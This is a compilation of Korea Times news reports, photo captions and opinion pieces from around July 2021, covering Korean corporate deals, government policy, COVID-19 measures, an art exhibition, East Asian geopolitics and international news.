BHC has expressed its willingness to acquire Outback with the intention of becoming a company specializing in meat dishes. It also has enough cash, thanks to large-scale investments from MBK Partners and the Ontario Teachers' Pension Plan.



If BHC's acquisition of Outback is successful, SkyLake will be able to make a successful divestment from the restaurant franchise business, which is considered to be tough for most private equity firms in the domestic capital market. Its previous attempt to sell Outback ended in failure last year, although it drew attention from several bidders, including Bain Capital.



SkyLake took over an entire stake in Outback's Korean operation for 57 billion won ($50 million) in 2016. The valuation of its stake is estimated at 250 billion won at this moment, because the franchise has shown earnings growth, despite the slowdown in the restaurant industry amid the COVID-19 pandemic.


The headquarters of Daewoo E&C in central Seoul / Courtesy of Daewoo E&C



Deal faces mounting calls for an investigation



By Anna J. Park



Financial regulators are looking into whether a mid-sized construction company received preferential treatment in acquiring Daewoo Engineering and Construction (Daewoo E&C), which used to be one of Korea's top builders.



The move follows suspicions raised by some lawmakers and unionized workers accusing Jungheung Construction of benefiting unfairly in it selection early last week as preferred bidder to acquire Daewoo E&C.



The Financial Supervisory Commission said Wednesday that it is currently looking into the deal to see whether there were any violations of the law, adding that it plans to thoroughly examine the case after being briefed on the sale by state-run Korea Development Bank (KDB), the parent company of KDB Investment (KDBI).



KDBI sold a 50.75 percent stake in Daewoo E&C to Jungheung. The mid-sized builder was selected as the preferred bidder in a controversial second round of bidding early last week to purchase Daewoo for 2.1 trillion won ($1.8 billion). Jungheung offered to buy Daewoo E&C for 2.3 trillion won in the first round of bidding at the end of last month.



FSC Chairman Eun Sung-soo told a National Assembly meeting on the previous day that the financial regulator will investigate if any laws were broken.



"The case is currently being investigated by KDB, but the FSC will also take a look into the matter (to see whether there was preferential treatment," said Eun during the parliamentary meeting on Tuesday.



During that session, three-term opposition lawmaker Yun Jae-ok voiced strong suspicion, saying KDBI made an unprecedented case of accepting a bidder's request to discount the offered price, after the main bid ended. The lawmaker also accused KDBI of being in a rush to sell Daewoo E&C, taking only 25 days from the appointment of an underwriter for the sale to the main bidding process. Yun said it was an excessively speedy process compared to a failed attempt to sell Daewoo E&C back in 2017, when it took six months to select a preferred bidder.





Financial Services Commission Chairman Eun Sung-soo speaks during a parliamentary committee meeting at the National Assembly in Seoul, Tuesday. Yonhap
President Moon Jae-in speaks during an event to announce the Korean New Deal 2.0 initiative at Cheong Wa Dae, Wednesday. Yonhap



New initiative to keep focus on digital, green projects



By Lee Kyung-min



The government said Wednesday that it will increase its investment in Korean New Deal projects to 220 trillion won ($191 billion) by 2025, up from its earlier plan of 160 trillion won, in a bid to secure new growth engines and better prepare for a post-COVID-19 period.



President Moon Jae-in announced the plan as part of the Korean New Deal 2.0 initiative during a meeting with top economic policy advisers at Cheong Wa Dae, Tuesday. It is said to be an improved version of the Korean New Deal put in place last July.



The new initiative will focus on fostering digital and green projects, while expanding state-run childcare programs and helping young, low-income earners acquire assets.



"The enhanced initiative will prioritize digital, green and balanced growth, and strengthening the social safety net," President Moon said.



"The Korean New Deal will continue evolving to meet the needs of the times. We can use a crisis as an opportunity to change the structure and foundation that causes danger. The drive will transform the country by turning the crisis into an opportunity for the future."





Senior officials of the finance, welfare, ICT, education, trade, employment and environment ministries attend a press briefing at the Seoul Government Complex, Tuesday. Yonhap




By Jun Ji-hye







Park Hyatt Busan's Italian restaurant, Living Room, is presenting a unique collaboration of Italian comfort food and the premium niche perfume brand, "Acqua di Parma," filled with the refreshing summer scent of the Mediterranean, reminiscent of a beautiful coastal town in Italy.







The Acqua di Parma course menu offers a selection of appetizers, pasta or risotto and main dishes that suit individual preferences. Lemon panna cotta is prepared for dessert, inspired by the signature color of Acqua di Parma.







All guests who order this special course menu will receive a gift of Acqua di Parma Blu Mediterraneo perfume and shower gel.







Living Room is also holding an Instagram promotional event. After ordering the Aqua di Parma course menu, guests will receive three types of Blu Mediterraneo samplers if they upload a photo with the hashtags  #parkhyattbusan and #AcquadiParma  on their Instagram account.







The three guests selected as the best reviewers in the Instagram promotional event will be presented with a Living Room voucher for two and a special gift prepared by Acqua di Parma.







The summer limited collaboration will be available until the end of August, with lunch from 11:30 a.m. to 2:30 p.m., and dinner from 5:30 p.m. to 10:00 p.m.


"Waterfall Turned into a Poem" (2021) by Lee Lee Nam / Courtesy of Savina Museum





By Park Han-sol







What exactly did media artist Lee Lee Nam need in order to give life to a 6.8-meter-high digital waterfall roaring down a wall of the Savina Museum? A high-functioning computer, a projector and two strands of his own hair.







In his piece "Waterfall Turned into a Poem," what looks like a shower of water droplets is, upon closer inspection, revealed to be a stream of the letters of the alphabet, A, T, C and G. The tiny, white letters raining down in fact represent the four chemical bases that make up human DNA molecules: adenine (A), thymine (T), cytosine (C) and guanine (G). But they are not just from any human. They derive directly from the artist's own genetic code, extracted from his strands of hair by the G+FLAS Life Sciences biotech lab at Seoul National University.







The work is one of 21 eye-opening installations featured in Lee's ongoing exhibition, "The Breath of Life," at the Savina Museum in Eunpyeong District, northwestern Seoul.







For more than a decade, Lee has built a reputation as a pioneer of media art in Korea. He has transformed classical, East Asian landscape and Western still-life paintings into animated digital videos, adding both subtle and dynamic touches  from a faintly flickering candle in a room, a remake of "Magdalene with the Smoking Flame" by French Baroque painter Georges de La Tour (1593-1652), to military helicopters and a snowstorm covering Mount Geumgang, a refashioning of the "Geumgang jeondo" landscape painting by Joseon-era artist Jeong Seon (1676-1759).







His works have been shown across Korea, as well as at London's Tate Modern and at the Korean Embassy to Belgium, among others. Recently, at the largest immersive theater complex in the world, called "Unique Henan  Land of Drama" in Henan, China, his digital pieces "A Thousand Li of Rivers and Mountains" and "Along the River during the Qingming Festival" were projected onto the building's 325-meter-wide facade.







Media artist Lee Lee Nam / Courtesy of Savina Museum

But whereas the artist used to reinterpret classical paintings with cutting-edge technologies  such as media art, artificial intelligence and virtual reality  he takes one step further with "The Breath of Life," by directly injecting a part of himself into the timeless scenes of mountain, water and landscape.







This radical decision was fueled mainly by the COVID-19 pandemic, specifically a self-quarantine period that lasted for a total of 12 weeks as Lee had to travel back and forth from China to Korea during his preparations for the Henan show.







"Locked up inside all on my own for weeks, I had the chance to look back on my life and work. Fundamental questions regarding what the pandemic means for humanity, what life is and who I am ran through my head. And I realized that we never truly get to see ourselves, except through reflections in the mirror and our surroundings," Lee told The Korea Times during a recent interview at the museum.







He found his DNA to be a perfect medium for offering a glimpse of an answer to the age-old question concerning one's existence. "By bringing my own genetic code into these media works, I wanted literally to face myself and see what I am made of. They represent my roots, my foundation."







A particular line in the renowned classical literary text, "The Twenty-Four Categories of Poetry" written by Sikong Tu (837-908) during the Tang Dynasty, which he came across during his visit to China, became another source of inspiration: "Escape the boundaries of the fixed form to grasp the essence of one's being."







Lee's "Human, Nature, Cycle and Family" (2021) / Courtesy of Savina Museum





To complete some of his works, Lee not only had his own DNA sequence fully mapped but also that of his family members, as well as those belonging to different ages  teens, 20s, 40s and 80s  in the G+FLAS Life Sciences collection. He wanted to locate the basis of his existence in the context of the larger history of humanity.







As a result, in "Human, Nature, Cycle and Family," the constellation of As, Cs, Gs and Ts looks like translucent snow fluttering down on the mountain from the landscape masterpiece "Early Spring" by Guo Xi (1020-90). Then in "DNA Landscape," the letters coalesce into roaring and thrashing waves, forming the painting "A Thousand Li of Rivers and Mountains" by Wang Ximeng (1096-1119) across one entire wall. By combining contemporary biological data with these classical works of art, Lee visualizes the generational connections that continue within the flow of history.







Lee's "DNA Landscape" (2021) / Courtesy of Savina Museum





Fascinatingly, the incorporation of genetic code into his digital art proved to be far more than just a chance to explore his personal roots, as he was also able to reflect on the intricate relationship between two disparate fields: art and science.







In a DNA molecule, the nucleotide A pairs with T, while C pairs with G to form a double helix. But in Lee's digital pieces, he purposefully disassembled all the pairs and rearranged them to appear as separate individual letters. This decoupling of the code ended up giving a pleasant shock to one biologist from the G+FLAS Life Sciences who attended the opening ceremony of the exhibition.







"Looking at the media art, he told me that he was surprised to see with his own eyes how this genetic code could be separated and presented in this way  something he'd never thought of in the field of science," Lee said. "And this made me realize that maybe art can provide some helpful hints to science, in the same way that science helped me in my process of creation."







Lee hopes to further explore the connections between DNA and art in the future, perhaps even dabbling in ways that might be deemed controversial or even unethical in the biological sciences, but which still remain possible in the realm of the art world.







"Someone suggested that I could compare or even mix my own DNA with that of animals," Lee noted. "Another thought that crossed my mind was, 'if there is any trace of DNA left in Andy Warhol's painting, would it be possible to extract it and use it as an ingredient in recreating his iconic pop art?'"







These thoughts represent just the beginning of Lee's new artistic direction. But no matter how his work evolves, his fundamental philosophy will remain unchanged.







"All humans live in a period of time that doesn't last forever. We'll eventually be all gone as we race towards death. So we should always endeavor to pursue something truthful that can outlive our physical selves."







True to his philosophy, Lee's genetic code remains in a Seoul art museum even while Lee himself is in Gwangju, where he lives and works. Beyond this contemporary juxtaposition, his DNA-filled pieces and their messages will continue to reverberate in this world even after he disappears from the Earth.







"The Breath of Life" runs through Aug. 31 at the Savina Museum.


Gym members use the treadmill amid the coronavirus disease (COVID-19) pandemic at a fitness club in Seoul, July 12. Reuters-Yonhap



Gyms in the capital area may need a new instrument in the fight against COVID-19  a metronome.



As of Monday, the government has banned gyms in the greater Seoul area from playing music faster than 120 beats per minute (bpm) during group exercises.



That's to prevent people from breathing heavily and accidentally getting saliva on each other  an extra precaution amid a record-breaking surge in COVID-19 cases in the country.



What it means in practice is that BTS' "Butter" and "Dynamite" are safe to play (the songs have bpms of 110 and 114, respectively) but Psy's "Gangnam Style" is not (132 bpm).






Lee Won-bok, head of the Korea Vegan Union, holds signs urging more Koreans to go vegan and expand animal rights to crustaceans and cephalopods during a solo protest at Gwanghwamun, Seoul, Wednesday. The union said Korea should join other countries to regulate the inflicting of unnecessary pain on those creatures for food. Yonhap
Former U.S. President Donald Trump speaks at the Conservative Political Action Conference, July 11, in Dallas. AP-Yonhap



Former U.S. President Donald Trump had indicated to his close aides that he would "blow up" the U.S.-South Korea alliance in his second term as president, excerpts from an upcoming book showed Tuesday.



The book, "I Alone Can Fix It: Donald J. Trump's Catastrophic Final Year," alleges that Trump also wanted to withdraw the United States from the North Atlantic Treaty Organization (NATO).



"In fact, Trump had privately indicated that he would seek to withdraw from NATO and to blow up the U.S. alliance with South Korea, should he win reelection," says the book, according to excerpts carried by the Washington Post.



The book is co-authored by two Washington Post journalists  Carol Leonnig and Philip Rucker  and is set to be published next Tuesday.



"When those alliances had come up in meetings with (then-Defense Secretary Mark) Esper and other top aides, some advisers warned Trump that shredding them before the election would be politically dangerous," they wrote.



"Yeah, the second term, We'll do it in the second term," Trump is quoted as having told his aides.



Trump lost the 2020 election by a large margin of nearly 8 million popular votes, but continues to claim that the election was rigged. Many believe he may run for president again in 2024.



The authors also write that Esper rooted for Biden, instead of Trump, in the 2020 presidential election, partly because of Trump's views on national security and U.S. alliances.



"Esper had worked with Biden and his secretary of state in waiting, Antony Blinken, when he was a senior staffer on the Senate Foreign Relations Committee. He had confidence that they were serious, stable people who cared deeply about shoring up national security," says the book. "Esper couldn't say the same about Trump." (Yonhap)


gettyimagesbank



The military called off the already postponed annual training for reserve forces due to explosive spikes in COVID-19 cases, the defense ministry said Wednesday.



It is the second straight year that the military canceled the annual training. The training program had never been skipped before since its introduction in 1968.



In January, the ministry decided to postpone this year's training for the country's 2.75 million-strong forces to the second half given the virus situation, though it was supposed to begin in March across the nation.



"In consideration of the COVID-19 status and other conditions for the training, however, we've decided not to hold this year's training for reserve forces," the ministry said in a release.



Training programs for reserve forces are supposed to involve around 100 to 500 members, which is possible only when the country implements the social distancing scheme of Level 1. Currently, the greater Seoul area has been placed under the strictest Level 4 guidelines.



Another factor for the decision is that most of the reserve forces are in their 20s and vaccinations for the age group are supposed to begin in end-August to enable the achievement of their herd immunity in October at the earliest, the ministry noted.



"Instead, we will provide online programs to replace indoor education for volunteers, and around 3,000 reservists in charge of major posts of reserve forces units will go through field training on a smaller scale under strict quarantine schemes," a ministry official said.



South Korean reservists are required to go through one training session of one to three days per year.



The country has experienced a new wave of the pandemic, with the daily caseload hitting yet another record high of 1,615 on Wednesday, according to the Korea Disease Control and Prevention Agency (KDCA).



The military has also reported a series of confirmed cases across the country.



On Wednesday, 13 more newly enlisted soldiers at the Army boot camp in the central city of Nonsan tested positive, bringing the total number of infections at the base to 108, according to the ministry.



It is the largest cluster infection so far among military members.



In addition, four military officers contracted the virus, which raised the total confirmed cases in the military to 1,167, the ministry said.



Meanwhile, the vaccination campaign for service members is going on smoothly. A total of 340,544 troops in their 20s, or 86.1 percent of the age group, received their second doses of Pfizer's coronavirus vaccine as of Tuesday, according to the ministry. (Yonhap)


Justice Minister Park Beom-kye / Yonhap



The Ministry of Justice announced a series of measures to reform "inappropriate" investigative practices by prosecutors Wednesday, with a focus on banning the unauthorized disclosure of information on ongoing probes to media.



The ministry, among other things, specified conditions for the publication of allegations in criminal cases, in an effort to prevent investigators from revealing information about ongoing cases that could result in false reporting and human rights violations.



Assuming there is "ample evidence" that news reporting about a certain case carries wrong information, investigators are allowed to publicly speak about it to correct falsehoods.



Also, information about cases related to financial scams, digital sex crimes, terrorist attacks and infectious diseases can be also made public for public interest.



Human rights investigators at each district prosecutors office nationwide will handle violations of the new rules and can ask for a formal investigation, if necessary.



"The ministry will not let anyone who is not a public relations officer reveal essential information about an ongoing investigation," Justice Minister Park Beom-kye said during a briefing, adding the ministry "will strongly punish malicious leaks" of confidential information.



The announcement came less than four months after the minister ordered the ministry to review questionable investigative practices, jointly with the Supreme Prosecutors Office (SPO).



In March, the country's high-ranking prosecutors met at the order of the minister to conduct a review of allegations that investigators had forced some prison inmates to make false testimonies against former Prime Minister Han Myeong-sook in 2011. After hours of deliberation, senior prosecutors decided to clear them of perjury charges.



Park, at that time, expressed dismay over the prosecution's decision to close the alleged perjury case and denounced the leakage to media of the closed-door discussions.



Han, who served as prime minister from 2006 to 2007, was imprisoned from 2015-2017 after being convicted of accepting about 900 million won ($795,000) in illegal political funds from a late businessman while in office.



Last year, allegations surfaced that prosecutors had forced the late businessman's fellow inmates to give false testimony against Han during her trial in 2011 to win her conviction.



During the briefing, the minister said the four-month review revealed there were problematic investigative practices, such as having prosecution witnesses practice their testimonies.



The ministry demanded prosecutors minimize meetings with their witnesses and record conversations and interviews with them.



"The joint review was not aimed at punishing anyone," the minister said, adding, "The prosecution will take this opportunity to break with wrong practices of the past and move forward to a new overhauled organization." (Yonhap)


Choe Jae-hyeong, former head of the Board of Audit and Inspection (BAI) and a potential presidential contender for the opposition, right, shakes hands with Rep. Kwon Young-se of the main opposition People Power Party (PPP), at a restaurant in Jung-gu, Seoul, Wednesday. At the meeting, the two discussed the possibility of Choe joining the PPP and declaring his bid for the presidency under its banner. This is the first time for the former BAI chairman to publicly meet with the sitting lawmaker after resigning from his post. Yonhap
By Park Jung-won





When Mao Zedong, the father of China's communist revolution, died in 1976, the "Gang of Four," which included his wife, were arrested and eventually convicted for "counter-revolutionary crimes." Their post-revolutionary "cultural" revolution, which drove Chinese society into a state of madness for a decade, had finally come to an end.



During the subsequent era led by Deng Xiaoping, he and seven other "revolutionary elders" took control of the country. They devised a new system of collective leadership for the ruling Chinese Communist Party (CCP) as a way to prevent the emergence of another dictator like Mao while preserving the party's tight grip on power.



Under the current leadership of President Xi Jinping, a fundamental transformation of this political tradition has taken place, and is now being solidified as China celebrates the 100th anniversary of the CCP's founding this month. In 2018, the CCP removed the two-term limit on the office of president, elevating Xi to a rank equivalent to Mao's. Since then, Xi and the powerful regime under his control seem headed in a dangerous direction.



Worries abound that China, as a rising new superpower, will trigger a "Thucydides trap," in which its geopolitical rivalry with the United States could lead to another world war. So the question arises: What created this leviathan and how will its emergence affect the fate of the world in the 21st century?



An undisputed fact is that communist China was eventually incorporated into the post-World War II "liberal international order" (LIO) orchestrated by the U.S., despite its unfavorable position at the end of the Cold War. The answer to the question should then be found in the nature of the LIO, under which China has grown into what it is today.



The story of China's rapid elevation to the status of superpower has also been that of mismanagement and failure on the part of the U.S. in its LIO stewardship. This order pursued politically liberal democracy and economic liberalism through the expansion of globalization, a process which made China's membership to the World Trade Organization (WTO) in 2001 possible.



Benefiting from the generously optimistic view held by the U.S. and other Western countries that China's economic growth would inevitably lead to greater political freedoms, China instead used its inclusion in the LIO to achieve remarkable economic success while the CCP eschewed any notion of political liberalization.



The problem is that the LIO has been unable to secure the solid legitimacy necessary to ensure a widespread consolidation of liberal values, largely due to the U.S.'s sloppy foreign policies. As time passed, the LIO has eroded and weakened, thereby exposing many of its inherent flaws.



For example, the U.S.-led Iraq War in 2003 is now seen as a reckless adventure of questionable international legality, especially in light of the failure to find weapons of mass destruction in that country. Moreover, the idea that the U.S. would invade a country in order to impose a democratic regime was devastating to its international standing as the LIO's leader.



The 2007-09 global financial crisis, which originated in the U.S., dealt another serious blow to the LIO through the economic turmoil it caused worldwide and the deepening polarization of American society that contributed to the election of Donald Trump as its president in 2016. His "America first" stance, which measured the value of alliances in monetary terms, worsened international solidarity and stirred populism across borders.



Although President Joe Biden's administration has tried to reverse this with its "America is back" policies, the coronavirus pandemic has dealt such a shock to the U.S. and advanced liberal economies that domestic economic recovery is now their top priority.



Little more than lip service is now paid to strengthening the LIO. Amid a growing list of states with authoritarian regimes or which are heading in an increasingly anti-democratic direction, such as Russia, Turkey, Hungary, Belarus and North Korea, the fading of the LIO's attraction has permitted China to increase its global influence.



This does not mean that China has emerged as the clear winner in the 21st century game of geopolitics. On the contrary, China now faces considerable obstacles to its international influence stemming from the CCP's anti-democratic one-party dictatorship, increasing domestic economic inequality, a backlash from its human-rights abuses in Xinjiang, Tibet and Hong Kong, as well as growing opposition to its provocative stances over territorial disputes with its neighbors.



When President Xi recently blurted out "China will not allow itself to be bullied, and anyone who tries will face broken heads and bloodshed in front of the iron Great Wall of 1.4 billion Chinese people," it was made clear that foreign criticism of China's flaws is not welcome. The American philosopher George Santayana's admonition that "those who cannot remember the past are condemned to repeat it" might now be applied to both the U.S. and China equally.





Park Jung-won (park_jungwon@hotmail.com), Ph.D at the London School of Economics (LSE), is professor of international law at Dankook University.


By Sandip Kumar Mishra





In the last one-and-a-half months, there were at least three occasions when Japan's top officials, including Prime Minister Yoshihide Suga, indicated a change in the country's approach toward Taiwan.







On July 5, Japan's Deputy Prime Minister Taro Aso said that a major problem in Taiwan, caused by China's forced intervention, would be "an existential threat" for Japan. He added that "in such a case, Japan and the United States will have to work together to defend Taiwan" because "Okinawa could be the next target" of China.







Earlier June 28, the Japanese Deputy Defense Minister Yasuhide Nakyama, while speaking to the U.S.-based Hudson Institute, also said that China was "trying to surround all the Taiwan islands" and it was high time for Japan "to wake up."







In early June, Suga also listed Taiwan next to New Zealand and Australia as three "countries" that had taken stricter measures to combat the spread of COVID-19.







These statements by high-ranking officials indicate Japan's intent to defend Taiwan from Chinese aggression even though it means Japan getting involved in a military conflict beyond its own territory.







China sharply reacted to the Japanese officials' statements on Taiwan. Responding to the Aso statement, China's Foreign Ministry spokesman Zhao Lijian said July 6 that unlike 1895, when imperial Japan captured Taiwan, China is not weak.







China would "never allow anyone to meddle in the Taiwan question in any way." On the Nakayama statement, Chinese Foreign Ministry spokesman Wang Wenbin said that "this is highly sinister, dangerous and irresponsible" to openly call "Taiwan a country."







Earlier, China retorted to Prime Minister Suga's statement by saying that Japan has broken a "long-standing promise not to regard Taiwan as a country." Basically, China takes these statements as a dilution of Japan's commitment to a "one China policy."







Japan is also deliberately trying to show that its commitment to the "one China policy" might be reviewed if China does not show restraint. Actually, during his remarks at the Hudson Institute, Nakayama went as far as questioning the acceptance of the "one China policy" by Japan as a condition to establish relations with China in 1972 and abandoning Taiwan by reducing bilateral ties to a non-governmental level.







The simmering change in Japan's approach toward Taiwan may have various reasons. First, Japan thinks that the way China has been tightening its control in Hong Kong and having more frequent military aircraft sorties near Taiwan, China would soon try to have full control over Taiwan even if it may require military means.







If that occurred, Matt Pottinger, the White House national security adviser under the Trump administration, said, "basically China would be able to dominate the region and render Japan irrelevant." Japan is concerned about such a scenario.







Second, even though Japan played a key role in the articulation of the Indo-Pacific strategy and the Quadrilateral Security Dialogue, better known as Quad, to deal with any threat (from China) to free and open regions, in the last few years, it has diluted its stance.







Japan's official documents now prefer to use the expression Indo-Pacific vision rather Indo-Pacific strategy. When the U.S., India and Australia  the three other countries of the quadrilateral network, have increasingly gotten more overt in contests with China, Japan's softening toward China appears as a mismatch.







Thus, through a tough posturing on Taiwan, Japan might be trying to coordinate its policy with the other Quad countries because all of them have been quite engaged with the Taiwan issue in the recent past.







Third, Japan's changing posture on Taiwan may also be related to Prime Minister Suga's desire to look strong and appear as a worthy heir of Shinzo Abe. In the last 10 months of the Suga government, Abe's charisma is clearly missing.







His popularity rating has also declined which is considered to be one of the important reasons for the loss of all the three seats by the Liberal Democratic Party (LDP) in the April 2021 by-elections.







It is a bad sign for both Suga as well as the LDP as elections for the lower house are due in the latter part of this year. Through the change in Japan's posture toward Taiwan, Suga might be looking to build an image of a tough leader imitating Abe.







Notwithstanding the reasons of the changing posture of Japan, it must be underscored that China looks resolute to go ahead with its regional strategy. Xi on the centenary celebration of the Communist Party of China said July 1 that China is determined to "crush to death" if "any foreign force" tries to "bully" it.







It means that China is not going to be deterred by statements alone and it would test the resolution of Japan or for that matter any other country. Japan, thus, must be aware of the possible endgame of these statements.











The author ( sadnipmishra10@gmail.com ) is associate professor at the Jawaharlal Nehru University, New Delhi, India.
Japan should fulfill pledges on wartime forced labor



The UNESCO World Heritage Committee has expressed "strong regrets" over Japan's failure to fulfill its promise to honor victims of forced wartime labor on Hashima Island and other industrial sites, at an information center in Tokyo. In a report posted on its website Monday, the committee said that the forced conscription of Korean workers in the 1940s was not disclosed properly, and that measures to pay respect to the victims were also insufficient.



UNESCO and the International Council on Monuments and Sites (ICOMOS) inspected the Tokyo Industrial Heritage Information Center in early June and wrote a 60-page report. Concluding that Japan's measures to convey the fact that the people who worked there were brought to the sites against their will and forced to work were insufficient, the report urged the Japanese government to carry out its pledges. The report is expected to be adopted at the committee's annual session slated for July 16 to 31.



Japan opened the Tokyo Industrial Heritage Information Center last year, to introduce to the public 23 modern Japanese Meiji-era sites that have been added to the UNESCO World Heritage List, including the notorious Hashima Island, also known here as Battleship Island, where many Koreans were forced to labor during World War II. Japan promised to include a display honoring the Korean victims of forced labor when the sites were listed in 2015, but the center currently only highlights Japan's industrial achievements, without mentioning the sufferings of the victims.



It's quite meaningful that UNESCO officially affirmed Japan's failure to honor its pledges and strongly voiced regrets, while calling for their faithful implementation. It's very rare for an international organization to use such phrases as "strong regrets." But Japan has no one to blame but itself for that. This regretful situation has been caused by the fact that Japan did not keep its promise.



UNESCO asked Japan to submit its next implementation report on the follow-up measures by Dec. 1 next year. It is long overdue for Tokyo to reflect sincerely on its past wrongdoings and to stop distorting historical facts. Japan should take specific steps to carry out faithfully what it promised the international community it would do.


Protesters leave after looting a store in South Africa's eastern city of Durban, Monday (local time). AP-Yonhap



LG Durban plant burnt down; Samsung warehouse pillaged



By Kim Bo-eun



Samsung Electronics and LG Electronics seek to take corresponding measures to recover from damage to their respective operations in South Africa, following riots and looting in the country's largest city, Johannesburg, and adjacent areas.



The imprisonment of former President Jacob Zuma last week prompted his supporters to protest, which developed into political unrest that resulted in at least 72 deaths as of Wednesday.



LG Electronics saw the greatest damage among Korean firms there, as its TV manufacturing plant in the eastern port city of Durban was burned down and its warehouse looted. LG said it could not provide an estimate of the scale of damage, but confirmed no casualties have been reported among employees. The damage is estimated to amount to several billions to tens of billions of won.



LG said the plant operated one production line manufacturing TVs and monitors, which employed about 100 workers. The plant is estimated to have manufactured LCD TVs and monitors amounting for $50 million on an annual basis.






Naver's headquarters in Seongnam, Gyeonggi Province / Korea Times file





By Kim Hyun-bin







More than a dozen conglomerates, including Samsung Electronics, Naver and Hyundai Development Company (HDC), have been downgraded in their environmental, social and corporate governance (ESG) ratings by the Korea Corporate Governance Service (KCGS).







A privately owned ratings agency, the KCGS grades companies on their ESG efforts every quarter, rating them in seven levels: S, A+, A, B+, B, C and D.







In its survey released Tuesday, Samsung Electronics, Lotte Chemical, HDC, Korea Zinc, Central Insight, Asiana IDT, Air Busan and Asiana Airlines faced downgrades in the governance category.







Specifically, Samsung Electronics was downgraded from B+ to B, as its governance rating dropped from B to C. The downgrade comes as the Korea Fair Trade Commission (FTC) accused the conglomerate of a transfer-pricing scheme that shifted wealth to one of its affiliate companies, enriching the owner family's members.







Samsung Electronics, Samsung Display, Samsung Electro-Mechanics and Samsung SDI handed over their catering business contracts to Samsung Welstory, a Samsung C&T subsidiary offering above-market prices.







Samsung SDI and Samsung Electro-Mechanics fell from A to B+ in the governance section for the same reasons, but their overall ESG management ratings were left unchanged from A.







Hyundai Development Company's overall grade dropped from B to C due to the recent collapse of a building undergoing demolition at its redevelopment site in Gwangju. Several Kumho Asiana Group affiliates  Asiana IDT, Air Busan and Asiana Airlines  also suffered an overall downgrade from B to C as Chairman Park Sam-koo faces embezzlement charges.







Park is accused of taking more than 130 billion won ($116 million) in low-interest loans without collateral from nine group companies  including Asiana Airlines  to save Kumho Bus, a family-owned company, in violation of the Monopoly Regulation and Fair Trade Act.







The overall grades of Lotte Chemical and Korea Zinc also fell from A to B+ and from B+ to B, for discharging illegal emissions and continuous fatal industrial accidents, respectively.







Naver's social grade fell from A to B+ after an in-house bullying incident led to an employee suicide, as the KCGS believes the incident derives from problems in the company's culture.







"There was hazing in parts of the company and it was confirmed that the leaders did not properly make efforts to establish a healthy and sound organizational culture," the company said, partially acknowledging that the suicide of the employee was due to in-house bullying.


gettyimagesbank



By Nam Hyun-woo





Consumers Union of Korea Chairwoman Kang Jung-hwa / Courtesy of Consumers Union of Korea
OB CEO Ben Verhaert poses with the "All New Cass" during a press conference held at Sebitseom in Seoul, March 12. Courtesy of OB



By Kim Jae-heun



The country's largest beer-maker Oriental Brewery (OB) has come under criticism for raising and lowering factory prices of its beer products frequently over the past three years.



Its price moves are in compliance with a commercial law revised in 2019 allowing brewers to freely set prices of their alcohol beverages.



Under the revised law, OB sought to gain price competency over its biggest rival HiteJinro that has been expanding its market share rapidly with its flagship beer Terra, according to industry sources.



But the repeated changes in its beer prices have caused confusion with wholesalers and retailers and made it harder for them to manage their stocks. They pointed out that this also caused problems for customers.



OB argued it has adjusted the prices in line with the changing environment of the beer market.



"Other companies are also adjusting their beer prices too, but it looks like we are doing it more often because we have more beer products than them," an OB official said.



For 500-milliliter bottles of Cass Fresh beer, OB has raised and reduced the price four times between April and October 2019. For Cass Light, the brewer cut the prices of 500-milliliter and 330-milliliter bottles one time in August 2020. In April this year, OB once again raised the prices for 300-milliliter bottles of Cass Fresh and Cass Light.



This is seen as OB's countermeasure against HiteJinro, which launched the megahit Terra beer that pushed its market share instantly to over 40 percent. OB's market share had once marked over 60 percent but it has come down to below 50 percent lately.



Even when the factory price for beer is reduced, there is a limit to customer benefits. Restaurants and bars will not change their beer prices anyway. It takes a long time and procedure for beers to arrive from the factory to restaurants and it is hard to change the store price according to changes at the factory.


Rescue workers and civilians clean up the fire site at a coronavirus hospital ward, where people died, in the al-Hussein hospital, Nasiriyah, Iraq, July 13. Health officials said many others were injured in the blaze that erupted July 12. AP-Yonhap



The death toll from a fire that tore through a coronavirus hospital in southern Iraq rose to 92, health officials said on Tuesday, as authorities faced accusations of negligence from grieving relatives and a doctor who works there.



More than 100 people were injured in the blaze on Monday night in Nassiriya, officials said.



An investigation showed the fire began when sparks from faulty wiring spread to an oxygen tank that then exploded, police and civil defense authorities said.



It was Iraq's second such tragedy in three months, and the country's president on Tuesday blamed corruption for both. A statement from the prime minister's office called for national mourning.



Rescue teams were using a heavy crane to remove the charred and melted remains of the part of the city's al-Hussain hospital where COVID-19 patients were being treated, as relatives gathered nearby.



A medic at the hospital, who declined to give his name and whose shift ended a few hours before the fire broke out, said the absence of basic safety measures meant it was an accident in the making.



"The hospital lacks a fire sprinkler system or even a simple fire alarm," he told Reuters.



"We complained many times over the past three months that a tragedy could happen any moment from a cigarette stub but every time we get the same answer from health officials: 'we don't have enough money'."



While some bodies were collected for burial, with mourners weeping and praying over the coffins, the remains of more than 20 badly charred corpses required DNA tests to identify them.



In April, a similar explosion at a Baghdad COVID-19 hospital killed at least 82 and injured 110.



The head of Iraq's semi-official Human Rights Commission said Monday's blast showed how ineffective safety measures still were in a health system crippled by war and sanctions.



"To have such a tragic incident repeated few months later means that still no (sufficient) measures have been taken to prevent them," Ali Bayati said.



The fact that the hospital had been built with lightweight panels separating the wards had made the fire spread faster, local civil defense authority head Salah Jabbar said.



Health and civil defense managers in the city and the hospital's manager had been suspended and arrested on Monday on the orders of Prime Minister Mustafa al-Kadhimi, his office said.



Government investigators arrived in Nassiriya on Tuesday, according to a statement. Their findings would be announced within a week, Kadhimi's office said.



A Nassiriya court said it had ordered the arrest of 13 local officials in connection with the fire.





An aerial picture shows the damage after a massive fire overnight engulfed the coronavirus isolation ward of al-Hussein hospital, Nasiriyah, Iraq, July 13. AFP-Yonhap
In this May 25, 2018, file photo, the logo of Google is pictured during the Viva Tech start-up and technology summit in Paris. Reuters-Yonhap



France's antitrust watchdog slapped a 500 million euro ($593 million) fine on Alphabet's Google on Tuesday for failing to comply with the regulator's orders on how to conduct talks with the country's news publishers in a row over copyright.



The fine comes amid increasing international pressure on online platforms such as Google and Facebook to share more revenue with news outlets.



The U.S. tech group must now come up with proposals within the next two months on how it would compensate news agencies and other publishers for the use of their news. If it does not do that, the company would face additional fines of up to 900,000 euros per day.



Google said it was very disappointed with the decision but would comply.



"Our objective remains the same: we want to turn the page with a definitive agreement. We will take the French Competition Authority's feedback into consideration and adapt our offers," the U.S. tech giant said.



A Google spokesperson added: "We have acted in good faith throughout the entire process. The fine ignores our efforts to reach an agreement, and the reality of how news works on our platforms."



